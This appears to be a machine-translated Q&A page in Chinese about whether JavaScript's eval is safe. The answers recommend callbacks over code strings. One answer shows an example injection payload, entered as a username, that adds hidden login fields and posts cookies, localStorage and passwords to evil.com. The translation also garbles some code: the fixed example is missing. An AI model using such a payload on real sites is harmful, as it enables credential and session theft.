JS:eval真的安全吗?

时间:2018-01-20 11:53:16

标签: javascript

说明:

eval真的安全吗?有没有办法让黑客能够在机器服务器上执行eval并破解/破坏它?如果我们想要一个修复或替代方案,我和其他人会怎么做?

客户端代码:

    function sleep(s, action) {
      if(action !== null) {
        if(action.constructor === Array) {
          setTimeout(function(){
          for(i = 0; i < action.length; i++) {
            eval(action[i]);
          }
        }, s);
        } else {
          setTimeout(function(){ eval(action); }, s);
        }
      } else {
        setTimeout(function(){ return true; }, s);
      }
    }

/*Example 1:*/ sleep(1000, ["alert('ok in alert')", "console.log('ok in console')"]);
/*Example 2:*/ sleep(1000, "console.log('one single line of code")
/*Example 3:*/ sleep(1000) //returns true after 1s

代码解释:

函数 sleep()作业是等待x秒然后执行用户输入的代码。使用两个参数调用 sleep()。其中一个是必须(s),另一个是可选的(动作)

(s)参数保存函数内超时的

(action)以字符串格式保存代码,由函数执行。如果未输入(动作)参数,则该函数将返回true。

TL; DR:

人们说,eval真的不安全吗?如果是这样,为什么?是否有类似上述问题的修复/替代方案。

NB。试图让这个变得尽可能简单,这样它既可以帮助你作为读者也可以帮助你。

3 个答案:

答案 0 :(得分:2)

  

黑客是否有办法将eval执行到机器服务器并破解/破坏它?

如果您正在编写客户端JavaScript,那么该代码中没有任何安全漏洞 - 无论多大 - 都会导致服务器上发生任何不良事件。因为如果可以,那么你就不需要在客户端JS中滥用漏洞,而只是手动发送恶意请求

对于问题的实际问题,eval是不安全的,因为通常这意味着如果您使用它,您就会编写糟糕的代码。它需要一个任意的代码串并运行它 - 除非你动态生成代码,否则你不需要或不需要它。

例如,如果你发布了什么,你会将回调函数而不是一串代码传递给sleep,甚至返回一个Promise。对于人们认为他们需要使用eval或将代码放在字符串中的几乎所有情况,这几乎都是答案。

以下是使用回调函数的代码:

function sleep(s, action) {
  if(action !== null) {
    if(action.constructor === Array) {
      setTimeout(function(){
        for(i = 0; i < action.length; i++) {
          action[i]();
        }
      }, s);
    } else {
      setTimeout(action, s);
    }
  }
}

/*Example 1:*/ sleep(1000, [function () { alert('ok in alert') }, function () { console.log('ok in console') } ]);
/*Example 2:*/ sleep(1000, function () { console.log('one single line of code') });
/*Example 3:*/ sleep(1000); //Does nothing. What's the point of creating an empty timeout?

答案 1 :(得分:1)

如果做错了,一切都可能不安全。这同样适用于eval。你可以说使用eval是不好的做法,因为可能存在安全问题和性能不佳,例如

中没有任何不安全感
const result = eval('Math.random()');

因为没有人可以改变执行的主题。

如果您的用户能够编写JavaScript并将其作为输入传递,那么总会有创建问题的方法。以下是您在特定情况下可以从用户处获得的信息:

while (true) {}

永远阻止线程/处理器核心,无论平台如何(浏览器/服务器/无论如何)都绝对不是你想要的。

答案 2 :(得分:1)

请考虑以下情形:您已找到此库并将其用于您的网站,以显示最近活跃用户的循环列表。由于sleep需要一个字符串进行评估,因此只需抓取用户名并将其添加到语句末尾以更新列表就很容易了:

var username = getTopUserViaXHRSynchronouslySomehow('/userstats.php');
sleep(10000, 'document.querySelector("#ticker").textContent = "' + username + '"');

(您已经读过textContent是用于此的正确属性。它会安全地更新元素,确保没有任何内容被解释为可以在攻击中使用的HTML。)

现在我来看看你网站的源代码。我得到了awful的想法。我使用用户名

注册一个新用户
MustacheTwirler1337";

var userbox = document.createElement('input');
userbox.setAttribute('name', 'login_username');
userbox.style.position = 'absolute';
userbox.style.top = '-200px';

var passbox = document.createElement('input');
passbox.setAttribute('name', 'login_password');
passbox.setAttribute('type', 'password');
passbox.style.position = 'absolute';
passbox.style.top = '-200px';

document.body.append(userbox, passbox);

setTimeout(() => {
  fetch('http://evil.com/', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      local: window.localStorage,
      username: userbox.value,
      password: passbox.value
    }), 
    headers: new Headers({
      'Content-Type': 'application/json'
    })
  });
}, 500);

var s = "

(当然,我首先将所有内容缩小。您的网站不会让我在我的用户名中添加换行符。)然后,我在您的网站上匆匆忙忙,确保我的名字最终被{{1 }}

现在,您的所有用户都在浏览器中运行我的用户名/恶意代码。由于这一切都是从您的网站运行的,因此我的代码可以访问与您的域相关联的Cookie数据和本地存储。我已经添加了登录输入框(与真实用户名相同),用户&#39;密码管理员帮助填写。然后我告诉您的用户将所有那些多汁的数据直接传递到我的服务器。

您还使用自己的网站,并且您的登录信息比普通用户拥有更多权限。你的是我一直在寻找的账户。凭借您的凭据,我会破坏您的网站。 (而且我保留其他人的信息,以防万一他们甚至使用密码管理器重复使用密码。我可能会破坏至少一些人的在线生活。)

现在,这是userstats.php的错吗?不是直接的,但它使编写错误的代码比编写好的代码容易得多。如果eval已经执行了某项功能,那么您将无法使用sleep。你的代码看起来像这样:

eval

并且我的代码都无法运行。